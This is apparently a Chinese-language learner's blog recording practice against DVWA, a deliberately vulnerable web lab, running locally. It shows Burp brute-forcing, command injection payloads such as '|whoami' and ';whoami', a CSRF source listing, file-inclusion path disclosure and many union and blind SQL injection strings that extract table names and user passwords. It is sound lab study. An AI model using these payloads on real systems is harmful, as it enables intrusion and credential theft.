DVWA的小尝试

安装配置

下载地址:http://www.dvwa.co.uk/

因为我们之前已经安装过了Phpstudy,所以就不介绍安装了

image-20220301213709276

创建完网站后到config.inc.php文件里把用户名和密码改成下面这样子

我的路径是这样子哒——"D:\phpstudy_pro\WWW\DVWA\config\config.inc.php"

哦哦有些安装包下载下来的是config.inc.php.diet什么来着的,自己重命名一下变成config.inc.php就好啦

$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'root';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = '123456';

这些都弄好之后,打开网站就ok啦

遇到的坑

讲起来好像很轻松,但是在这里有被卡好久,点进网站都只显示站点已创建成功

image-20220301222642263

就这样子,反复删了安装包,各种重装,发现还是不顶

image-20220301222928497

后来才知道是因为文件放置的问题,注意看这个文件,下面要考的哈哈哈哈哈

要把DVWA-1.9里面的东西复制粘贴一下到现在这个里面

image-20220301224055783

如图,弄完上面的就可以了到DVWA的登录页面了

默认用户名:admin 密码:password 登录一下就可以开始trytry这个top10的靶场了哈哈哈

Brute Force暴力破解

Low

image-20220301203757631

一看就是爆破,爆破就意味着要见到我男朋友巴巴苏特了

image-20220301231346210

是他是他,send to inturder一下

image-20220301232601691

他会自动标出参数,我们全部clear先,只要add一个"1"就好啦,再去Payloads页面直接选一个牛一点的字典,让他自己慢慢爆

image-20220301235119700

遇到的坑(一)

扫了自己有点全部字典了要,一直都扫不出,大离谱事件

image-20220302001535916

后来知道了302跳转这个知识点

image-20220302001944907

刚以为可以了,就出现了新的问题,于是有了坑二

遇到的坑(二)

用Microsoft Edge浏览器可以正常浏览,火狐就不行,看向了谷歌,但是没安装switch omega插件,还查不到救命,好像说要外网访问,去找度娘了解了一下怎么转换成外网,有点看不明白救大命

image-20220302003703562

今天好累,还没有完成任务啊嘞,死在第一个靶场就很离谱

image-20220302122526031

望周知,出bug咱就先try try重启

遇到的坑(三)

在这里遇到了一个问题 爆破的时候length出现了三种数字

image-20220302130146564

依次输入都显示错误,好家伙,直接锁十五分钟

image-20220302130420856

后来发现是因为难度级别设置成了impossible,改成low就可以了

接下来就是正常操作,抓包,爆破,然后今天第一次知道原来burp有自带字典,点红框这里,选"password"这个选项

image-20220303004235060

扫完发现有个不一样的,查看响应包

一、输入"welcome"可以直接跳转到我们要看的地方(如果是这个密码的话,就会有这一句话)

image-20220303004818028

二、通过reader也可以看到页面的响应

image-20220303005104888

Medium

image-20220303005528058

操作和low是一样的,就是它这次加了一个sleep()函数,每个参数爆出都要延迟两秒

方法一

慢慢等它爆完(巨久无比)

方法二、

有个帅哥自己写了个脚本哈哈哈哈,成功提速,咱就是说除了我做不到也没什么不好的~失策,忘记截图了

image-20220303010016243

High

好卡,救命

同样是抓包,会发现多了一个user_token参数,先send to inturder

image-20220303010556991

把password和user_token参数都设置为变量

image-20220303010752742

这里有一个注意点,涉及到一个之前都没有接触到的版块,在这个版块里设置一下线程先,不然就会十个十个数扫,也超慢

image-20220303010942582

再来这里修改一下redirections重定向参数,总是允许

image-20220303011155107

可以开始爆破啦

image-20220303011559777

救命,虽然好像是成功了,但是感觉密码是空就有点离谱了啊喂,应该是bug叭

查了一下资料,好像说要修改Payload set 1和Payload set 2,可是不知道为什么我这里没有2出现

(payload set 2 要修改成 2 ;Recursive grep 的参数)

重新试了一下,因为参数没有设置到位,就成功不了啊啊,等会回来看

Command Injection命令注入

Low

image-20220303013437517

输入"|whoami"        //(不用输入前面的127.0.0.1,系统会自带的)

image-20220303013640054

输入"|ipconfig"

image-20220303013822166

至于为什么没有乱码一样的,咱就是说又跟师傅学到一招嘿嘿

image-20220303014004135

这里还学到了另一个小知识——Window系统命令

输入"|echo 123 > 3.txt"
    "|dir"

image-20220303014623684

这里指的是添加了一个3.txt文件,123是文件内容

我们可以复制上面的路径去瞅瞅

image-20220303014938043

可以看到我们成功添加啦

image-20220303014854722

已经不明觉厉了哈哈哈哈哈哈哈,命令注入的作用,以后有机会开始挖洞可以try try

Medium

哦哦这里想起来今天学到的,这里的 | 管道符也可以有多种表达

";" 前后语句同时执行

127.0.0.1;whoami

image-20220303020338484

它这里过滤了一些特殊标点可以在源码里看到

image-20220303022403091

命令连接符

怕记错了就查了一下

image-20220303020807352

High

直接查看源码,发现过滤的字符变多了,前面列出的全被过滤了

image-20220303023218106

查了管道符的转义和base64编码,后来回来再看一遍源码,发现它的引号隔超远,原来|后面还有个空格救命

拼了半天,连127.0.0.1|| | |whoami都试了,差点给自己绕进去,直接127.0.0.1|whoami就好了,谢谢有被蠢到

image-20220303024817632

事实证明不能想太多~

Cross Site Request Forgery (CSRF)

Low

image-20220303153722607

随意输入一个用户名和密码,会发现显示密码已被更改

image-20220303154713570

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close(); 

抓包一下,按照图上的操作来一下

image-20220303163708263

后来出现了一个界面,根据

image-20220303205501324

会出现一个网址HTML

image-20220303210105594

我们到浏览器里尝试一下,出现了一个submit命令

image-20220303205342334

点击试试看,嗯,很好,没反应,得去看看有没有成功提交,现在就是不知道要在哪里看

反正这个网页能正常访问,就表示存在csrf漏洞啊嘞

Medium

image-20220303212334949

File Inclusion

Low

image-20220303214202980

点那三个文件好像没什么用,查看源码先

image-20220303214340590

可以看到没有过滤,我是先输入http://dvwa/vulnerabilities/fi/?page=xjw.php

返回了报错,并且附带了网站的绝对路径(第一行warning的是我们指定要找的文件)

image-20220303214703437

image-20220303214640791

然后我先去kali上执行一些操作,目的是为了多一个文件,可以在里面加个马嘿嘿

先到家目录中:cd ~
再到桌面目录中:cd Desktop
查看命令: ls

image-20220303235015690

SQL Injection

Low

查看是不是可以注入,先输入了1' and 1=1-- ,输入了1' and 1=2-- 就开始报错,所以存在注入

image-20220304220918165

这边要注意不要落了后面的-- (有一个空格)

依次输入1' order by 1-- ;1' order by 2--  

输到3的时候出现了报错,说明字段只有两个

image-20220304221210975

输入1' union select 1,2-- 

image-20220304221511233

输入1' union select version(),database()-- 

image-20220304222008392

遇到的坑(一)

输入1' union select group_concat(table_name) from information_schema.tables where table_name='users',2--  //发生报错
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_name='users'--    //还报错

image-20220304222636711

后来知道了是编码问题,后来去phpmyadmin里修改了排序规则,就可以正常了,这边再次谢谢帅哥

image-20220304234024822

image-20220304234008312

输入1' union select 1,table_name from information_schema.tables where table_name='root'-- 

接下来查列

image-20220304234215743

输入1' union select 1,column_name from information_schema.columns where table_name='users'-- 

image-20220304234802128

出了好多,成功在一坨里看到了username和password两列,接下来尝试查看两列中的内容

1' union select 1,concat(username,password) from users-- 

image-20220304235047541

出现了报错啊嘞,说username不存在,把它换了,还有一个USER、id啥啥的列,可以试一下

很幸运,输入1' union select 1,concat(USER,password) from users-- 就出来了

image-20220304235029833

成功爆出

不知道为什么Medium不能成功跳转,那就先放着好了

SQL Injection (Blind)

image-20220305000527270

输入1' or 1=1-- 出现一个User ID exists in the database的回显,说明成功

image-20220305000642954

输入1' and length(database())=1--            //猜数据库长度

image-20220305001326480

说明长度不对,继续慢慢试一下

输入1' and length(database())=4-- 

image-20220305001708713

成功盲猜哈哈哈,数据库长度为4

输入1' and ascii(substr((select database()),1,1)) > 97--          

查询数据库名的第一位,成功

输入1' and ascii(substr((select database()),1,1)) <122--           

这两条是判断第一位是否为小写字母,然后直接再继续缩小范围

最后输到114的时候就可以了

image-20220305003543267

对照ASCII码表,可以发现是 r

image-20220305003655231

接下来就是用相同方法找出其他字符,最后得出数据库名叫root


小知识

substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值


输入1' and (select count(table_name) from information_schema.tables where table_schema='root')=1-- 

这里是要得出数据库里的表的数量,依次尝试1,2,出来啦,root数据库里存在两个数据表

image-20220305004752697

输入1' and (select length(table_name) from information_schema.tables where table_schema='root' limit 0,1) =9-- 

成功,说明第一个数据表的长度为9

输入1' and (select length(table_name) from information_schema.tables where table_schema='root' limit 1,1) =5--            

查看第二个数据表的长度,可得为5

接下来就是和查数据库名字的方式一样,连语句都不用怎么改

1' and ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1))>97--       
1' and ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1))<122--               //两条都正确,说明是小写英文字母

继续缩小范围,可猜解出两个表名分别为guestbook和users,接下来就是看数据表里的列数

遇到的坑(一)

输入1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=1-- 

不知道为什么输入什么数字都是User ID exists in the database.啊嘞


还剩下几步,我们先准备准备睡觉哈哈哈哈哈哈哈,continue~

1’ and (select count(column_name)from information_schema.columns where table_name=‘users’)=8 -- 

说明users数据表有8列

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7-- 
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=6--              

得出users表中的第一列长度为7,第二列为6

接下来继续无脑求名字

1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97-- 
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))<122-- 

最后对照ASCII码表得到的名字为user_id,first_name,last_name,user,password,avatar,last_login,failed_login